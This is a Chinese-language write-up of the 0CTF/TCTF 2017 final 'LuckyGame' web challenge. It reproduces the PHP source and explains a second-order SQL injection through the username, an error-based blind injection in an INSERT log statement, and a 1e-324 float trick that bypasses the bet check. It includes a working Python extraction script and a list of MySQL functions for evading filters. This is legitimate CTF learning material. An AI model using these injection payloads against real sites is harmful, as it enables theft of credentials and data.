0CTF-TCTF-2017-final-Web-LuckyGame-Writeup

觉得这道题非常有意思,质量很高,当时比赛期间没有做出来,所以赛后复现了一下。这道题其实考点都很普通,但是组合起来难度非常大,个人认为是一道非常棒的题目。

源码

题目描述如下: 题目用的php7mysql5.7。 题目的源码很短,两百多行只有,直接贴出来源码如下:

<?php session_start(); ?>
<!DOCTYPE html>
<html>
<head>
    <title>Lucky Game</title>
    <meta charset="utf-8">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Raleway:200">
    <link href="https://fonts.googleapis.com/css?family=Noto+Sans" rel="stylesheet">
    <link rel="stylesheet" href="https://unpkg.com/purecss@0.6.2/build/pure-min.css" integrity="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://purecss.io/combo/1.18.13?/css/main-grid.css&/css/main.css&/css/menus.css&/css/rainbow/baby-blue.css">
    <style>
    .header{font-family: 'Noto Sans', sans-serif;}
    .header h1{color: rgb(202, 60, 60);}
    .button-error {background: rgb(202, 60, 60);}
    .button-success {background: rgb(28, 184, 65);}
    </style>
</head>
<body>
<div id="layout">
<div id="menu">
    <div class="pure-menu">
        <a class="pure-menu-heading" href="#">TCTF</a>
    </div>
</div>
<div id="main">
    <div class="header">
        <h1>幸运数字</h1>
        <h2>Shall we play a "lucky" game?</h2>
    </div>
<div class="content">
<?php

if (!$link=mysqli_connect('localhost', "root", "1")) die('Connection error');
if (!mysqli_select_db($link,'test')) die('Database error');

$tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()";
$cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()";
$query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT);
$tbls_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);
$query = mysqli_query($link,$cols,MYSQLI_USE_RESULT);
$cols_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);


# CREATE TABLE users(id int NOT NULL,username varchar(24),password varchar(32),points int,UNIQUE KEY(username));
# INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10);
# CREATE TABLE logs(id int NOT NULL,log varchar(64));
foreach($_POST as $k => $v){
    if(!empty($v) && is_string($v))
        $_POST[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_POST[$k]);
}

foreach($_GET as $k => $v){
    if(!empty($v) && is_string($v))
        $_GET[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_GET[$k]);
}


function filter($s){
    global $tbls_name,$cols_name;
    $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
    if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
    return $s;
}

function register($username,$password){
    global $link;
    $q = sprintf("INSERT INTO users VALUES (id+1,'%s',md5('%s'),10)",
        filter($username),filter($password));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    return TRUE;
}

function login($username,$password){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')",
        filter($username),filter($password));

    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    if(count($result)>0){
        $_SESSION['id'] = $result['id'];
        $_SESSION['user'] = $result['username'];
        return TRUE;
    } else {
        unset($_SESSION['id'],$_SESSION['user']);
        return FALSE;
    }
}

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    #echo $q;
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

function update_point($p){
    global $link;
    $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
        $p,$_SESSION['id']);

    if(!$query = mysqli_query($link,$q)) return FALSE;
    if(!user_log("Update ".$p)) return FALSE;
    return TRUE;
}

function my_point(){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s'",
        filter($_SESSION['user']));
    //echo $q;
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    return (int)($result['points']);
}

switch(@$_GET['action']){
    case 'register':
        if(!empty($_POST['user']) && !empty($_POST['pass']))
            if(!register($_POST['user'],$_POST['pass']))
                die("<aside>Something went wrong!</aside>");
        break;
    case 'login':
        if(!empty($_POST['user']) && !empty($_POST['pass']))
            login($_POST['user'],$_POST['pass']);
        break;
    case 'logout':
        unset($_SESSION['user'],$_SESSION['id']);
        break;
    default:
        break;
}

if(empty($_SESSION['user'])){
    echo <<<EOF
        <form action="?action=register" method=POST class="pure-form pure-form-stacked">
            <fieldset>
                <input type=text name=user required placeholder="Username" />
                <input type=password name=pass required placeholder="Password" />
                <button type="submit" class="pure-button pure-button-primary">Register</button>
            </fieldset>
        </form>

        <form action="?action=login" method=POST class="pure-form pure-form-stacked">
            <fieldset>
                <input type=text name=user required placeholder="Username"  />
                <input type=password name=pass required placeholder="Password" />
                <button type="submit" class="pure-button pure-button-primary button-success">Login</button>
            </fieldset>
        </form>
EOF;
    die();
}

$points = my_point();

if($points == 1337){
    user_log('winner');
    echo "<h3>Well played, we will give you a reward soon.</h3>";
}
#var_dump(mysqli_fetch_array(mysqli_query($link,"select @c",MYSQLI_USE_RESULT)));
echo <<<EOF
    <h1>Hello <a href='?action=logout'>{$_SESSION['user']}</a></h1>
    <h2>You got {$points} points</h2>
    <form method=GET class="grid-panel pure-form-aligned pure-form">
                    <div class="bet-control pure-control-group">
                        <label for="bet-input">
                            Your bet
                        </label>
                        <input name="bet" id="bet-input" data-content="bet-input"
                               type="number" min="0" max="16" value=1>

                    </div>

                    <div class="guess-control pure-control-group">
                        <label for="guess-input">
                            Your guess
                        </label>
                        <input name="guess" id="guess-input" data-content='guess-input'
                               type="number" min="0" value=1>
                    </div>
        <button type="submit" class="pure-button pure-button-primary button-error">Place</button>
    </form>

EOF;

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
    echo "<aside>";
    if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
    $number = rand()%8;
    echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
    if( $number == $_REQUEST['guess'] ){
        echo "You won!";
        if(!update_point($_REQUEST['bet']))
            return;
    } else {
        echo "You lost :(";
        if(!update_point(-$_REQUEST['bet']))
            return;
    }
    echo "</aside>";
}

mysqli_close($link);
?>

</div>
</div>
</div>
</body>
</html>

寻找注入点

由于源代码比较少,而且与数据库的交互语句就那么几个地方,通读之后应该能够比较容易就能找到两个注入点

注入点1

用户注册的时候如下:

密码被MD5了所以没办法搞,用户名被过滤了不能直接注入。 但是我们看在登陆的时候会调用my_point()函数 函数直接把session里面的user带入查询,但是这个sessionuser来源直接是数据库数据。在login函数里面赋的值。所以username存在一个二次注入。 尝试一下。如下:

登陆之后发现我们的分数变成了999分

但是问题来了,我们观察代码中关于数据库结构的注释可以知道username的最长为24。

所以这里这个点很难直接去动密码的手。

注入点2

总共就几个数据库交互点。我们看下面这部分代码

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    echo $q;
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

function update_point($p){
    global $link;
    $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
        $p,$_SESSION['id']);
    //echo $q;
    if(!$query = mysqli_query($link,$q)) return FALSE;
    if(!user_log("Update ".$p)) return FALSE;
    return TRUE;
}

首先看update_point函数,发现其中格式化的时候是%d,所以没法儿注入,但是发现它调用了user_log函数,而且直接把参数$p传递给了user_log,而user_log里面就是 insert 语句,而且格式化参数是%s,所以如果update_point$p可控就有一个insert的注入。

我们看看哪儿调用了update_point,代码最后

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
    echo "<aside>";
    if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
    $number = rand()%8;
    echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
    if( $number == $_REQUEST['guess'] ){
        echo "You won!";
        if(!update_point($_REQUEST['bet']))
            return;
    } else {
        echo "You lost :(";
        if(!update_point(-$_REQUEST['bet']))
            return;
    }
    echo "</aside>";
}

当赌赢了和输了都会调用,而且参数就是我们可控的,但是输了的时候在调用update_point会在我们的输入前面加上负号无法利用,所以赢了就可以。 但是我们还需要注意我们输入的bet要通过这个判断 if($_REQUEST['bet'] > $points) die("What?! you're cheater!");,这一点后续利用的时候再进行讨论。

分析

我们再分析构造利用之前,需要看看过滤情况。最开始有一个全局的过滤,但是全局过滤只过滤了$_POST,$_GET,而后续获取变量值的时候用的是$_REQUEST,所以最开始的全局过滤没用的。

所以来直接看看这个过滤代码。

function filter($s){
    global $tbls_name,$cols_name;
    $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
    if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
    return $s;
}

过滤了一些延迟函数,和一部分报错函数(注意题目mysql版本5.7,报错函数多得是,这点过滤根本不足为惧),还有最关键就是过滤了含表名列名的输入参数。这是最关键的。也就是说我们需要在不使用表名列名的情况下搞出管理员密码。

但是我们现在可以利用的两个注入点,一个被长度限制在24,所以单独依靠第一个username的二次注入是没办法直接搞定的。

另一个是insert语句,只能用盲注,而且时间函数被过滤了也就是只能用bool盲注。但是insert一般都是时间盲注,本身不存在bool盲注,但是题目帮我们设置好了。

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    echo $q;
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

看看这里,一旦这个语句执行没有返回,即执行报错,就会return一个false。而这样代码最后的

这部分html标签就会出不来,所以这个就是二分点。我们可以控制让它报错或是不报错,从而根据返回值来判断。

组合利用

由于无法在输入中使用含表名和列名的字符串,所以我们可以利用临时变量,这一点确实没有想到。 我们可以看到再最后才有一个关闭数据库连接。在登陆之后每次访问页面都会调用一次my_point函数,就是上面分析的第一个注入点的地方,所以我们在这里注册一个这样子的用户名admin' into @a,@b,@c,@d#,

这样每次访问页面就会将user中的admin那一列值存入四个临时变量,而此时我们可以去触发insert盲注来进行爆破,

我们利用的就是mysql中and的特性,先看下面的例子

mysql> select 1 from users where 1 and ST_LatFromGeoHash(version());
ERROR 1411 (HY000): Incorrect geohash value: '5.7.18-0ubuntu0.16.04.1' for function ST_LATFROMGEOHASH
mysql> select 1 from users where 0 and ST_LatFromGeoHash(version());
Empty set (0.00 sec)

ST_LatFromGeoHash是mysql5.7以上可以用于报错的函数。这里对于and的前后两个条件来说,如果前面的条件为0,那么它就不会执行后面的条件语句了。因为最后结果肯定是0,而前面如果是1就会执行后面的语句,所以我们可以通过这样子来控制insert 报错,一旦报错返回的html文档就是不完全的,所以可以根据这个判断结果。

例如我执行下述两个语句

http://127.0.0.1:7000/?guess=1&bet=1e-324' and( (substring(@c,1,1)>'z') and (ST_LatFromGeoHash(version())) )or'
http://127.0.0.1:7000/?guess=1&bet=1e-324' and( (substring(@c,1,1)>'a') and (ST_LatFromGeoHash(version())) )or'

语句一返回如下:

语句二返回如下:

所以可以开始盲注了。

在这之前再看看我们前面的构造为啥是1e-324,在上面分析过我们需要绕过

if($_REQUEST['bet'] > $points) die("What?! you're cheater!");

这个判断。 由于我们用户名的设置,所以我们$point是0,所以我们需要输入的值要小于0。 这里用了一个php精度的trick。e是科学计数法的表示,实际1eX代表1*(10^X)

1e-1>0
1e-2>0
....
1e-323>0
1e-324<0
1e-325<0
....

所以我们就可以绕过这个判断。

poc

最后编写脚本如下:

import requests
r=requests.session()
url="http://127.0.0.1:7000/"
payload=url+"?guess=1&bet=1e-324' and((substring(@c,%d,1)>'%s')and(ST_LatFromGeoHash(version())))or'"

data={"user":"admin' into @a,@b,@c,@d#","pass":"1"}
r.post(url+"?action=login",data=data)

ans=""
for i in xrange(1,100):
    start=1
    end=128
    while start<end:
        mid=(start+end)/2
        content=r.get(payload%(i,chr(mid))).content
        while "You won!" not in content:
            content=r.get(payload%(i,chr(mid))).content
        if "</html>" in content:
            end=mid
        else:
            start=mid+1
    ans+=chr(start)
    print ans

后记

复现的时候,我们需要注意,mysql5.7以上默认是开启了STRICT_TRANS_TABLES,而做这道题我们如果开启这个就没办法做了。

另外就是报错函数,除了上面我使用的以外,我们还可以选择很多其他报错函数也能绕过过滤。 下面是比较通用的,5.1以上就能用的:

geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()

下面是5.7以上版本才有的

ST_LatFromGeoHash()
ST_LongFromGeoHash()
GTID_SUBSET()
GTID_SUBTRACT()
ST_PointFromGeoHash()

当然不一定要用这几个报错函数,也可以构造一些语句使insert报错也可以。

6月19日更新

当时写的时候没有说明关于STRICT_TRANS_TABLES的东西,后来看到Wupco师傅博客才想起来,还是严谨一点好,本来想把自己的笔记附上,还是偷懒直接附上师傅的博客好了:http://www.wupco.cn/?p=3745